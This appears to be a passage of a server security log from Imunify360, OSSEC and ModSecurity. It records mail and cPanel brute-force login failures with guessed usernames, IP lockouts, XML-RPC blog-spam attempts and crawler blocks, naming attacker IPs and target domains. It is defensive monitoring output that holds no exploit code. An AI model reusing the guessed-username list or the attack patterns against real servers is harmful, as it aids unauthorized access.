2026-06-17 13:59:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:6614: 535 Incorrect authentication data (set_id=kazan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:59:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:6828: 535 Incorrect authentication data (set_id=usb)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:59:36 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:59:36 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:59:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:29310: 535 Incorrect authentication data (set_id=thomson)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:59:45 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:45856: 535 Incorrect authentication data (set_id=luca)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:59:43 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ba47e787fcd94ba6bc82988b405e5cc80bedc27f||Title:jtpyf14va8jusd||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:59:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.74.68.167
country_id: 1733045
description:
180.74.68.167 - - [17/Jun/2026:13:59:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146219&pdata=https%253A%252F%252Fcpanel.formation.free.netmaster.tg%252F%253Flocale%253Dko&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781704772 HTTP/2.0" 302 0 cpanel.formation.free.netmaster.tg "https://cpanel.formation.free.netmaster.tg/?locale=ko" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.74.68.167


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:59:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:6350: 535 Incorrect authentication data (set_id=maurice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:59:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43390: 535 Incorrect authentication data (set_id=ram)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:00:04 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:00:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:19204: 535 Incorrect authentication data (set_id=casillas)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:00:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23312: 535 Incorrect authentication data (set_id=casillas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:00:52 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0ad60563792eb73e5261218684a451ab051aad5e||Title:rjl0q3zww6guqzdp||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:00:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:00:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:00:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27266: 535 Incorrect authentication data (set_id=ciscoworks)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:00:50 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:00:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:00:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5970: 535 Incorrect authentication data (set_id=salim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:00:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:2958: 535 Incorrect authentication data (set_id=ssladministrator)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:00:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18922: 535 Incorrect authentication data (set_id=stainless)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:00:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:22216: 535 Incorrect authentication data (set_id=henley)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:01:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:63944: 535 Incorrect authentication data (set_id=gaia)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.55.134.141
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/4f594c HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:01:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:01:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43914: 535 Incorrect authentication data (set_id=we're)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:01:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21228: 535 Incorrect authentication data (set_id=children)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.130.121
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:161.123.130.121||TA:161.123.130.121||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:01:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:51190: 535 Incorrect authentication data (set_id=twinkler)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:76ccd9dd513f88d518d4310d386c1e217844db73||Title:qeyywz7d8as9eic4n||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:01:33 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:01:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:35316: 535 Incorrect authentication data (set_id=accost)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:01:50 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:01:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:01:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:48282: 535 Incorrect authentication data (set_id=danika)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:02:01 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:02:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:4104: 535 Incorrect authentication data (set_id=anna)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:02:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:11278: 535 Incorrect authentication data (set_id=masao)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.239.219.16
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:173.239.219.16||TA:173.239.219.16||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.246.212
country_id: 1880251
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:92.113.246.212||TA:92.113.246.212||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.114
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:192.227.131.114||TA:192.227.131.114||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.135.172
country_id: 1819730
description:
Jun 17 14:02:50 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.135.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:02:41 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:02:42 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ab78c2714b7e13f2a77a778f94a41bd290900c50||Title:6je068rl3r6fc7nj||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:02:41 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:02:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41636: 535 Incorrect authentication data (set_id=swf)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:02:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:15858: 535 Incorrect authentication data (set_id=jsj)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:02:33 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:02:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:20444: 535 Incorrect authentication data (set_id=jsoto)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:02:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:40234: 535 Incorrect authentication data (set_id=c7)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.135.172
country_id: 1819730
description:
2026-06-17 14:02:52 dovecot_login authenticator failed for H=([58.84.103.149]) [121.202.135.172]:52707: 535 Incorrect authentication data (set_id=business@tps.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.101.88.209
country_id: 660013
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:103.101.88.209||TA:103.101.88.209||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:02:47 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:03:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:04:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462153&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781705047 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:03:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:03:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:03:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:51642: 535 Incorrect authentication data (set_id=s201)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:03:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:56734: 535 Incorrect authentication data (set_id=jayadevan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:03:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:45118: 535 Incorrect authentication data (set_id=oes)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:03:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:03:33 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:03:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:61334: 535 Incorrect authentication data (set_id=sed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4abe7fcf6217f684d2870eec25471fde087a95f3||Title:n98g290uub4p6ark||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:03:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:18034: 535 Incorrect authentication data (set_id=discover)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:03:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:52886: 535 Incorrect authentication data (set_id=optin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:03:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49258: 535 Incorrect authentication data (set_id=jayadevan)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.167.22.51
country_id: 3017382
description:
[2026-06-17 14:04:29 +0000] info [cpaneld] 91.167.22.51 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:04:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:1702: 535 Incorrect authentication data (set_id=temp123)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.23.28.199
country_id: 3865483
description:
[2026-06-17 14:04:36 +0000] info [cpaneld] 186.23.28.199 - sahamtg "GET /login/?login_only=1&user=sahamtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.45.56.98
country_id: 3469034
description:
[2026-06-17 14:04:40 +0000] info [cpaneld] 187.45.56.98 - sahamt "GET /login/?login_only=1&user=sahamt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.50.237.247
country_id: 3865483
description:
[2026-06-17 14:04:47 +0000] info [cpaneld] 190.50.237.247 - saham "GET /login/?login_only=1&user=saham&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user saham (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:05:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:51046: 535 Incorrect authentication data (set_id=henley)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8f43ab64edd867e5933f1032ec55c365dfc9e768||Title:oe78qzj2cte2pg38||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:04:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:04:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:04:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:17632: 535 Incorrect authentication data (set_id=revokeall)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.199.54.71
country_id: 3658394
description:
[2026-06-17 14:04:54 +0000] info [cpaneld] 181.199.54.71 - sah "GET /login/?login_only=1&user=sah&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sah (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:04:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38574: 535 Incorrect authentication data (set_id=zhangyan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:04:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18400: 535 Incorrect authentication data (set_id=avid)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.188.245.192
country_id: 337996
description:
[2026-06-17 14:04:42 +0000] info [cpaneld] 196.188.245.192 - sahamt "GET /login/?login_only=1&user=sahamt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sahamt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.237.220.98
country_id: 2464461
description:
[2026-06-17 14:04:42 +0000] info [cpaneld] 196.237.220.98 - saham "GET /login/?login_only=1&user=saham&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user saham (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:04:33 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.214.71.93
country_id: 3469034
description:
[2026-06-17 14:04:47 +0000] info [cpaneld] 186.214.71.93 - saha "GET /login/?login_only=1&user=saha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user saha (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:04:59 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.80.61
country_id: 1512440
description:
[2026-06-17 14:04:33 +0000] info [cpaneld] 213.230.80.61 - sahamtg "GET /login/?login_only=1&user=sahamtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.137.187
country_id: 3658394
description:
[2026-06-17 14:04:54 +0000] info [cpaneld] 157.100.137.187 - sa "GET /login/?login_only=1&user=sa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sa (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:04:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:04:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32022: 535 Incorrect authentication data (set_id=5555)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:05:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46758: 535 Incorrect authentication data (set_id=listing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:05:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9886: 535 Incorrect authentication data (set_id=massimo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:05:53 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:05:34 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.26.192.125
country_id: 2750405
description:
[2026-06-17 14:05:41 +0000] info [cpaneld] 194.26.192.125 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:05:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43874: 535 Incorrect authentication data (set_id=dherrera)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:05:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:11740: 535 Incorrect authentication data (set_id=memorials)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:05:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2066: 535 Incorrect authentication data (set_id=gast2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:05:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
